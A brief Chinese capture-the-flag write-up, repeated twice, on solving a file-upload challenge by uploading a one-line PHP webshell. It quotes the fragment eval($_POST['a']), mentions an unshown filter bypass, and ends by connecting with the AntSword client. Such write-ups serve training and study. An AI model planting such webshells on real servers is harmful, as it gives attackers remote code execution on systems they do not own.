文件上传题,可联想到一句话木马
通过抓包知道上传的文件到u/flag.php里面,然后就可以写木马上传了
上传成功后访问上传的文件,发现直接输出了
eval($_POST[‘a’]) ?>
即被过滤了,查了一下网上有一种写法
连接蚁剑,成功
文件上传题,可联想到一句话木马
通过抓包知道上传的文件到u/flag.php里面,然后就可以写木马上传了
上传成功后访问上传的文件,发现直接输出了
eval($_POST[‘a’]) ?>
即被过滤了,查了一下网上有一种写法
连接蚁剑,成功